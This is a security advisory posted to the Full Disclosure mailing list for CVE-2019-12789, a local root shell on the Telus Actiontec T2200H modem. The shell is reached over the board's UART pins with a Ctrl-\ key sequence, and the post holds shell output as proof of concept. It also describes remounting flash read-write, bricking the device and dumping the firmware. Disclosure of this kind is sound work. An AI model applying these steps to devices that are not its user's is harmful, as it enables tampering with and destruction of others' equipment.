full-disclosure - [FD] [CVE-2019-12789] Telus Actiontec T2200H Local Privilege Escalation

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Message-ID: <0a64a8e5-c76e-b902-1038-2e831a665629@aklaus.ca>
Date: Mon, 10 Jun 2019 12:38:04 -0600
From: Andrew Klaus <andrew@...aus.ca>
To: fulldisclosure@...lists.org
Subject: [FD] [CVE-2019-12789] Telus Actiontec T2200H Local Privilege
	Escalation

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###  Device Details
Discovered By: Andrew Klaus (andrew@...aus.ca)
Vendor: Actiontec (Telus Branded)
Model: T2200H
Affected Firmware: T2200H-31.128L.08
Device Manual:
http://static.telus.com/common/cms/files/internet/telus_t2200h_user_manu
al.pdf

Reported: Sept 2018
CVE: CVE-2019-12789

The Telus Actiontec T2200H is bonded VDSL2 modem. It
incorporates 2 VDSL2 bonded links with a built-in firewall, bridge mode,
802.11bgn wireless, etc.

###   Summary of Findings

By attaching an adapter, such as a Raspberry Pi or other UART adpter,
 to the UART pins on the system board, an attacker can use a special
key sequence (Ctrl-\) to obtain a shell with root privileges at the
login prompt.

After gaining root access, the attacker can mount the linux /dev/md*
jffs2 partitions read-write and make permanent modifications to the
device including disabling features such as remote management, vendor
updating, etc. It can also be used to overwrite the flash storage,
permanently bricking the device.

Other note: I was also able to cross-compile a new full-functionality
BusyBox binary using https://buildroot.org/. By plugging in a USB Mass
Storage Device on the rear of the modem, I was able to dump the firmware
using “busybox dd”.

### PoC (UART output)
Login:
Password:  (Ctrl+\)
….
(Long stack trace)
….
#
# cat /etc/image_version
T2200H-311288BGW1521450

# ps aux
  PID USER       VSZ STAT COMMAND
   233 admin     1980 R    -/bin/sh
  251 admin        0 DW<  [kthread]
  269 admin        0 SW   [kpAliveWatchdog]
  301 admin        0 SW   [bcmsw]
  302 admin        0 SW   [bcmsw_timer]
  355 500       2344 S    /bin/dbus-daemon --system
  372 admin     1976 S    syslogd -n -C -l 5
  373 admin     1952 S    klogd -n
  911 admin     1732 S    /bin/wlevt
 1041 admin        0 SW   [dsl0]
 1273 admin     7084 S    swmdk
 1401 admin     1800 S    ./pmd
 1451 admin     5304 S    smbd -D
 1540 admin     7084 S    swmdk
 1541 admin     7084 S    swmdk
 1544 admin     7084 S    swmdk
 1569 admin     5304 S    smbd -D
 1661 admin     1304 S    /bin/lld2d br0
 1785 admin     1240 S    /bin/eapd
 1803 admin     1676 S    /bin/nas
 2129 admin     1344 S    /bin/acsd
 2175 admin     3132 R    /bin/wps_monitor
 2262 admin     3916 S    ./data_center
 5941 admin     2924 S    dhcp6s -c /var/dhcp6s.conf br0
 6018 admin      896 S    radvd -C /var/radvd.conf

# mount
rootfs on / type rootfs (rw)
mtd:rootfs on / type jffs2 (ro,relatime)
proc on /proc type proc (rw,relatime)
tmpfs on /var type tmpfs (rw,relatime,size=420k)
tmpfs on /mnt type tmpfs (rw,relatime,size=16k)
sysfs on /sys type sysfs (rw,relatime)
mtd:data on /data type jffs2 (rw,relatime)

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